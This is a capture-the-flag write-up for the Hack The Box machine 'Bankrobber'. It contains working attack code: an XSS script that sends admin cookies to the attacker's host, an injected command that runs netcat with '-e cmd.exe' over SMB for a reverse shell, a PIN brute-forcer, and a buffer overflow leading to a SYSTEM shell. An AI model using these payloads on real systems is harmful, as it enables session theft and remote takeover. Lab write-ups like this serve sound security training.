Bankrobber - Hack The Box
Bankrobber is a web app box with a simple XSS and SQL injection that we have to exploit in order to get the source code of the application and discover a command injection vulnerability in the backdoor checker page that’s only reachable from localhost. By using the XSS to make a local request to that page, we can get land a shell on the box. To get root, we exploit a buffer in an application to override the name of the binary launched by the program.
Summary
- The Transfer E-coin form contains an XSS vulnerability in the comment field
- We can grab the administrator username and password and then log in to the site
- There’s an SQL injection in the “Search users” function which we can use to dump the database and read files from the box
- Using the XSS, we can turn it into an SSRF and get access to the “Backdoorchecker” page which is only accessible by the localhost
- After getting the Backdoorchecker source code with the SQLi, we find a command injection vulnerability
- Using the injection vulnerability, we can pop a shell with netcat and get the first flag
- There’s a custom binary running a banking app on port 910 which we bruteforce to get the PIN
- Once we have the PIN, we exploit a buffer overflow to execute an arbitrary program and get a shell as root
Portscan
root@kali:~/htb/bankrobber# nmap -T4 -sC -sV -p- 10.10.10.154
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 15:01 EDT
Nmap scan report for bankrobber.htb (10.10.10.154)
Host is up (0.052s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h00m06s, deviation: 0s, median: 1h00m06s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-09-21T20:03:12
|_ start_date: 2019-09-21T20:00:52
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.62 seconds
SMB
SMB is not reachable through null or guest sessions:
root@kali:~/htb/bankrobber# smbmap -u invalid -H 10.10.10.154
[+] Finding open SMB ports....
[!] Authentication error occured
[!] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[!] Authentication error on 10.10.10.154
root@kali:~/htb/bankrobber# smbmap -u '' -H 10.10.10.154
[+] Finding open SMB ports....
[!] Authentication error occured
[!] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[!] Authentication error on 10.10.10.154
MySQL
MySQL is not accessible remotely:
root@kali:~/htb/bankrobber# mysql -h 10.10.10.154 -u root -p
Enter password:
ERROR 1130 (HY000): Host '10.10.14.19' is not allowed to connect to this MariaDB server
Web enumeration
The website is a web application that allows users to buy E-coin cryptocurrency.
I can create an account by following the Register link.
After logging in I have the option of transferring funds to another user and to leave a comment.
When I transfer funds, I get a popup message saying the admin will review the transaction. This screams XSS to me because there’s a comment field that the admin will see and if it’s not sanitized correctly I’ll be able to inject javascript code in his browser session.
Exploiting the XSS
My XSS payload in the comments field is very simple: <script src="http://10.10.14.19/xss.js"></script>
This’ll make the admin browser download a javascript file from my machine and execute its code.
The xss.js
will steal the session cookies from the admin and send them to my webserver.
function pwn() {
var img = document.createElement("img");
img.src = "http://10.10.14.19/xss?=" + document.cookie;
document.body.appendChild(img);
}
pwn();
After a few minutes I get two connections. The first downloads the javascript payload and the second one is the connection from the script with the admin cookies.
The cookies contains the admin’s username and password Base64 encoded:
- Username:
admin
- Password:
Hopelessromantic
Exploiting the SQLi
Once logged in as administrator, I see that there’s a list of transactions, a search function for users and a backdoorchecker.
The backdoorchecker is only accessible from the localhost because it returns the following message when I try any commands: It's only allowed to access this function from localhost (::1). This is due to the recent hack attempts on our server.
The search function contains an obvious SQL injection since I get the following error after sending a single quote: There is a problem with your SQL syntax
This should be easy to exploit with sqlmap.
I’ll save one of the POST request from the search field in a search.req
file:
POST /admin/search.php HTTP/1.1
Host: bankrobber.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bankrobber.htb/admin/
Content-type: application/x-www-form-urlencoded
Content-Length: 6
Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D
Connection: close
Then I run sqlmap -r search.req
to start testing for injection points. As expected it quickly finds the injection point:
Exploring with sqlmap
First I’ll check which user the webapp is running as on the MySQL server: sqlmap -r search.req --current-user
current user: 'root@localhost'
I’m root so I should be able to get the passwords hashes with: sqlmap -r search.req --passwords
[*] pma [1]:
password hash: NULL
[*] root [1]:
password hash: *F435725A173757E57BD36B09048B8B610FF4D0C4
A quick search online shows the password for this hash is: Welkom1!
Nice but that doesn’t really help me for now. Next I’ll get the source code of various PHP files in the web app. This is a Windows box running Apache and PHP so I’m probably looking at a XAMPP stack. A quick search online shows the default base directory for XAMPP is: C:/xampp/htdocs
I can use the --file-read
flag in sqlmap to read files:
sqlmap -r search.req --file-read '/xampp/htdocs/index.php'
sqlmap -r search.req --file-read '/xampp/htdocs/admin/search.php'
sqlmap -r search.req --file-read '/xampp/htdocs/admin/backdoorchecker.php'
The backdoorchecker.php
is interesting because it contains an injection vulnerability in the system() function. There’s some filtering done on the provided cmd
parameter: it has to start with dir
and can’t contain $(
or &
. But that’s not enough to prevent injecting commands. Source code shown below:
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
Turning the XSS into an SSRF
As I found earlier I can’t reach the backdoorchecker.php
file from my own machine but I can use the same XSS to turn it into a SSRF. I’ll need to change my javascript payload to generate a POST request to the backdoor checker page with the right parameters. After some trial an error I found that dir|\\\\10.10.14.19\\test\\nc.exe 10.10.14.19 7000 -e cmd.exe"
payload works to execute netcat over SMB and get a shell.
function pwn() {
document.cookie = "id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D";
var uri ="/admin/backdoorchecker.php";
xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("cmd=dir|\\\\10.10.14.19\\test\\nc.exe 10.10.14.19 7000 -e cmd.exe");
}
pwn();
C:\xampp\htdocs\admin>type c:\users\cortin\desktop\user.txt
f6353466...
Privesc using bank transfer application
There’s something odd running on port 910…
I also see a bankv2.exe
file in the system root directory but I can’t read it.
I generated an metasploit reverse shell payload, uploaded it then created a port forward for this port:
meterpreter > portfwd add -l 910 -p 910 -r 127.0.0.1
[*] Local TCP relay created: :910 <-> 127.0.0.1:910
I can reach the application now on port 910 but I don’t have a valid PIN:
I tried checking for buffer overflows but couldn’t crash the program so I likely have to brute force the PIN first. I made a quick script to brute force the PIN:
#!/usr/bin/python
from pwn import *
import time
import sys
i = int(sys.argv[1])
j = int(sys.argv[2])
while True:
m = ""
if i < j:
pin = str(i).zfill(4)
p = remote("127.0.0.1", 910)
try:
p.recvuntil("[$]", timeout=30)
p.sendline("%s" % pin)
except EOFError:
print("Retry on %d" % i)
continue
try:
m = p.recvline(timeout=10)
print m
except EOFError:
print("Retry on %d" % i)
continue
if "Access denied, disconnecting client" not in m:
print m
exit(0)
print "Doing ... " + str(i)
i = i + 1
else:
print("We're done.")
exit(0)
p.close()
Thankfully the PIN was a low number so I didn’t have to search the entire PIN space: 0021
When I log in with the PIN, I can transfer coins and I see that the transfer.exe
command is executed:
If I send a large string I can see there’s a buffer overflow present in the program since I no longer see the transfer.exe
and it’s replaced by some characters that submitted in the amount field.
The offset is 32 bytes as shown below:
Note that whatever is overflowing from the amount variable gets into the name of the program that is executed after. So I can simply replace the executed program by a meterpreter payload I uploaded:
My meterpreter gets executed and I get a shell as NT AUTHORITY\SYSTEM
meterpreter > cat /users/admin/desktop/root.txt
aa65d8e...